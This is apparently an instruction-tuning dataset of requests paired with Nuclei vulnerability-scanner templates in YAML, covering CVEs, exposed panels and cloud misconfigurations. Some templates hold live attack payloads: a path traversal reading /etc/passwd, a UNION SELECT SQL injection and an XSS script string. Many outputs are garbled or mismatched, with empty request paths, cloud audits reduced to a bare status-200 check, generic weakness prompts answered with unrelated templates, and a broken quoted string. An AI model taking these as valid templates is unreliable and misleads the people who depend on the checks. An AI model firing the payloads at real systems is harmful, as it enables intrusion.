Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: subrion-login

info:
  name: Subrion Admin Panel Login Panel - Detect
  author: princechaddha
  severity: info
  description: Subrion Admin Panel login panel was detected.
  tags: panel,subrion,intelliants,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/panel"
    matchers:
      - type: word
        words:
          - "
Welcome to
Subrion Admin Panel
"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Check for Unrestricted MySQL Database Access

Input:
Title: Check for Unrestricted MySQL Database Access
Summary: Check for Unrestricted MySQL Database Access. Ensure that Google Cloud VPC network firewall rules do not allow unrestricted access (0.0.0.0/0 on TCP port 3306). Restrict MySQL traffic to trusted IP addresses or IP ranges to reduce the attack surface and enhance security.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: gcloud-unrestricted-mysql-access

info:
  name: Check for Unrestricted MySQL Database Access
  author: princechaddha
  severity: high
  description: Ensure that Google Cloud VPC network firewall rules do not allow unrestricted access (0.0.0.0/0 on TCP port 3306). Restrict MySQL traffic to trusted IP addresses or IP ranges to reduce the attack surface and enhance security.
  tags: cloud,devops,gcp,gcloud,vpc,firewall,security,mysql,gcp-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Puppetserver Detection

Input:
Title: Puppetserver Detection
Summary: Puppetserver Detection. Tags: tech, puppet, exposure
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: puppetserver-detect

info:
  name: Puppetserver Detection
  author: c-sh0
  severity: info
  description: Puppetserver Detection
  tags: tech,puppet,exposure,intrusive,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/puppet-ca/v1/certificate_request/{{randstr}}"
    matchers:
      - type: status
        status:
          - 404
      - type: word
        words:
          - "x-puppet-version"
        part: header
      - type: word
        words:
          - "{{randstr}}"
        part: body


Instruction: Generate a Nuclei template for CVE-2022-23881

Input:
Title: Unknown Vulnerability in zzzcms zzzphp
Summary: ZZZCMS zzzphp v2.1.0 was discovered to contain a remote command execution (RCE) vulnerability via danger_key() at zzz_template.php.
Vulnerability Type: Unknown Vulnerability
Severity: critical
Affected Products: zzzcms zzzphp
Indicators: error, vulnerability detected

Output:
id: CVE-2022-23881

info:
  name: ZZZCMS zzzphp 2.1.0 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: ZZZCMS zzzphp v2.1.0 is susceptible to a remote command execution vulnerability via danger_key() at zzz_template.php.
  tags: cve,cve2022,rce,zzzphp,zzzcms,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "http"
        part: interactsh_protocol
      - type: status
        status:
          - 500


Instruction: Generate a Nuclei template for CVE-2018-15917

Input:
Title: Cross-Site Scripting (XSS) in jorani_project jorani
Summary: Persistent cross-site scripting (XSS) issues in Jorani 0.6.5 allow remote attackers to inject arbitrary web script or HTML via the language parameter to session/language.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: jorani_project jorani
Indicators: error, vulnerability detected

Output:
id: CVE-2018-15917

info:
  name: Jorani Leave Management System 0.6.5 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: Persistent cross-site scripting (XSS) issues in Jorani 0.6.5 allow remote attackers to inject arbitrary web script or HTML via the language parameter to session/language.
  tags: cve,cve2018,jorani,xss,jorani_project,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "<script>alert(document.domain)</script>"
          - "_jorani"
        part: body
        condition: and
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2021-25065

Input:
Title: Cross-Site Scripting (XSS) in smashballoon smash_balloon_social_post_feed
Summary: The Smash Balloon Social Post Feed WordPress plugin before 4.1.1 was affected by a reflected XSS in custom-facebook-feed in cff-top admin page.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: smashballoon smash_balloon_social_post_feed
Indicators: error, vulnerability detected

Output:
id: CVE-2021-25065

info:
  name: Smash Balloon Social Post Feed < 4.1.1 - Authenticated Reflected Cross-Site Scripting
  author: Harsh
  severity: medium
  description: The plugin was affected by a reflected XSS in custom-facebook-feed in cff-top admin page.
  tags: cve2021,cve,wpscan,wordpress,wp-plugin,xss,wp,authenticated,smashballoon,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: transmission-dashboard

info:
  name: Transmission Dashboard - Detect
  author: fabaff
  severity: medium
  description: Transmission dashboard was detected.
  tags: misconfig,transmission,exposure,dashboard,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/transmission/web/"
    matchers:
      - type: word
        words:
          - "The Transmission Project"
          - "Transmission Web Interface"
        part: body
        condition: and
      - type: word
        words:
          - "Transmission"
        part: server


Instruction: Generate a Nuclei template for: RDS Event Notification Absence

Input:
Title: RDS Event Notification Absence
Summary: RDS Event Notification Absence. Checks for the activation of event notifications for Amazon RDS instances to monitor significant database events.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: rds-event-notify

info:
  name: RDS Event Notification Absence
  author: princechaddha
  severity: medium
  description: Checks for the activation of event notifications for Amazon RDS instances to monitor significant database events.
  tags: cloud,devops,aws,amazon,rds,aws-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2019-18371

Input:
Title: Path Traversal in mi millet_router_3g_firmware
Summary: An issue was discovered on Xiaomi Mi WiFi R3G devices before 2.28.23-stable. There is a directory traversal vulnerability to read arbitrary files via a misconfigured NGINX alias, as demonstrated by api-third-party/download/extdisks../etc/config/account. With this vulnerability, the attacker can bypass authentication.
Vulnerability Type: Path Traversal
Severity: high
Affected Products: mi millet_router_3g_firmware
Indicators: error, vulnerability detected

Output:
id: CVE-2019-18371

info:
  name: Xiaomi Mi WiFi R3G Routers - Local file Inclusion
  author: ritikchaddha
  severity: high
  description: Xiaomi Mi WiFi R3G devices before 2.28.23-stable are susceptible to local file inclusion vulnerabilities via a misconfigured NGINX alias, as demonstrated by api-third-party/download/extdisks../etc/config/account. With this vulnerability, the attacker can bypass authentication.
  tags: cve2019,cve,lfi,router,mi,xiaomi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api-third-party/download/extdisks../etc/passwd"
    matchers:
      - type: regex
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: DevDojo Voyager - Default login

Input:
Title: DevDojo Voyager - Default login
Summary: DevDojo Voyager - Default login. DevDojo Voyager contains default credentials when run with dummy data. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: devdojo-voyager-default-login

info:
  name: DevDojo Voyager - Default login
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: DevDojo Voyager contains default credentials when run with dummy data. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  tags: default-login,voyager,devdojo,vuln

http:
  - method: GET
    path:
    matchers:
      - type: status
        status:
          - 200
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2025-8868

Input:
Title: SQL Injection in chef automate
Summary: In Progress Chef Automate, versions earlier than 4.13.295, on Linux x86 platform, an authenticated attacker can gain access to Chef Automate restricted functionality in the compliance service via

improperly neutralized inputs used in an SQL command using a well-known token.
Vulnerability Type: SQL Injection
Severity: critical
Affected Products: chef automate
Indicators: error, vulnerability detected

Output:
id: CVE-2025-8868

info:
  name: Chef Automate < 4.13.295 — SQL Injection
  author: 3th1c_yuk1,xbow
  severity: critical
  description: In Progress Chef Automate, versions earlier than 4.13.295, on Linux x86 platform, an authenticated attacker can gain access to Chef Automate restricted functionality in the compliance service via improperly neutralized inputs used in an SQL command using a well-known token.
  tags: cve,cve2025,chef,automate,sqli,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for: Content-Security-Policy Bypass - Grubhub Assets

Input:
Title: Content-Security-Policy Bypass - Grubhub Assets
Summary: Content-Security-Policy Bypass - Grubhub Assets. Tags: xss, csp-bypass, grubhub-assets
Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: grubhub-assets-csp-bypass

info:
  name: Content-Security-Policy Bypass - Grubhub Assets
  author: renniepak,DhiyaneshDK
  severity: medium
  description: Content-Security-Policy Bypass - Grubhub Assets
  tags: xss,csp-bypass,grubhub-assets,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Content-Security-Policy"
          - "grubhub.com"
        part: header
        condition: and


Instruction: Generate a Nuclei template for: Cisco Meraki Security Checks

Input:
Title: Cisco Meraki Security Checks
Summary: Cisco Meraki Security Checks. A simple workflow that runs all Cisco Meraki related nuclei templates on a given target.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: cisco-meraki-workflow

info:
  name: Cisco Meraki Security Checks
  author: daffainfo
  severity: info
  description: A simple workflow that runs all Cisco Meraki related nuclei templates on a given target.
  tags: unknown

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Azure Storage Infrastructure Encryption Not Enabled

Input:
Title: Azure Storage Infrastructure Encryption Not Enabled
Summary: Azure Storage Infrastructure Encryption Not Enabled. Ensure that Infrastructure Encryption feature is enabled for your Azure Storage accounts in order to use encryption at the hardware level on top of the default software encryption provided by Microsoft Azure cloud.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: azure-storage-encryption-missing

info:
  name: Azure Storage Infrastructure Encryption Not Enabled
  author: princechaddha
  severity: high
  description: Ensure that Infrastructure Encryption feature is enabled for your Azure Storage accounts in order to use encryption at the hardware level on top of the default software encryption provided by Microsoft Azure cloud.
  tags: cloud,devops,azure,microsoft,azure-storage,azure-cloud-config

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Shad0w C2 JARM - Detect

Input:
Title: Shad0w C2 JARM - Detect
Summary: Shad0w C2 JARM - Detect. SHAD0W is a modular C2 framework designed to successfully operate on mature environments.

Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: shad0w-c2-jarm

info:
  name: Shad0w C2 JARM - Detect
  author: pussycat0x
  severity: info
  description: SHAD0W is a modular C2 framework designed to successfully operate on mature environments.
  tags: jarm,network,c2,ir,osint,cti,shad0w,tcp,vuln

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: SMB v1 Protocol Enabled

Input:
Title: SMB v1 Protocol Enabled
Summary: SMB v1 Protocol Enabled. Detects if SMB v1 protocol is enabled, which is vulnerable to numerous exploits.
Vulnerability Type: Security Check
Severity: critical
Indicators: vulnerability detected

Output:
id: smb-v1-enabled

info:
  name: SMB v1 Protocol Enabled
  author: princechaddha
  severity: critical
  description: Detects if SMB v1 protocol is enabled, which is vulnerable to numerous exploits.
  tags: windows,smb,network,protocol,code,windows-audit

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2024-9193

Input:
Title: Vulnerability (CWE-98) in whmpress whmcs
Summary: The WHMpress - WHMCS WordPress Integration Plugin plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 6.3-revision-0 via the whmpress_domain_search_ajax_extended_results() function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. Utilizing the /admin/services.php file, this can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.
Vulnerability Type: Vulnerability (CWE-98)
Severity: critical
Affected Products: whmpress whmcs
Indicators: error, vulnerability detected

Output:
id: CVE-2024-9193

info:
  name: WHMpress <= 6.3-revision-0 - Unauthenticated Local File Inclusion to Arbitrary Options Update
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: The WHMpress - WHMCS WordPress Integration Plugin plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 6.3-revision-0 via the whmpress_domain_search_ajax_extended_results() function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. Utilizing the /admin/services.php file, this can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.
  tags: cve,cve2024,whmpress,whmcs,wordpress,wp,intrusive,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template for CVE-2022-31984

Input:
Title: SQL Injection in online_fire_reporting_system_project online_fire_reporting_system
Summary: Online Fire Reporting System v1.0 is vulnerable to SQL Injection via /ofrs/admin/requests/take_action.php?id=.
Vulnerability Type: SQL Injection
Severity: high
Affected Products: online_fire_reporting_system_project online_fire_reporting_system
Indicators: error, vulnerability detected

Output:
id: CVE-2022-31984

info:
  name: Online Fire Reporting System v1.0 - SQL injection
  author: theamanrawat
  severity: high
  description: Online Fire Reporting System v1.0 is vulnerable to SQL Injection via /ofrs/admin/requests/take_action.php?id=.
  tags: cve2022,cve,sqli,online-fire-reporting,online_fire_reporting_system_project,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/requests/take_action.php?id=6'+UNION+ALL+SELECT+md5('{{num}}'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+-"
    matchers:
      - type: word
        words:
          - "{{md5(num)}}"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: ultras-diary

info:
  name: Ultras Diary User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: Ultras Diary user name information check was conducted.
  tags: osint,osint-hobby,ultras-diary,discovery

http:
  - method: GET
    path:
      - "http://ultrasdiary.pl/u/{{user}}/"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Mecze wyjazdowe:"
        part: body


Instruction: Generate a Nuclei template to detect Exposure of Resource to Wrong Sphere

Input:
Title: Exposure of Resource to Wrong Sphere (CWE-668)
Summary: The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource. Resources such as files and directories may be inadvertently exposed through mechanisms such as insecure permissions, or when a program accidentally operates on the wrong object. For example, a program may intend that private files can only be provided to a specific user. This effectively defines a control sphere that is intended to prevent attackers from accessing t
Vulnerability Type: Exposure of Resource to Wrong Sphere
Severity: medium
Indicators: vulnerability detected, error

Output:
id: ambari-exposure

info:
  name: Apache Ambari Exposure Admin Login Panel
  author: pdteam
  severity: info
  description: An Apache Ambari panel was discovered.
  tags: panel,apache,ambari,exposure,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "<title>Ambari</title>"
          - "href="http://www.apache.org/licenses/LICENSE-2.0""
        condition: and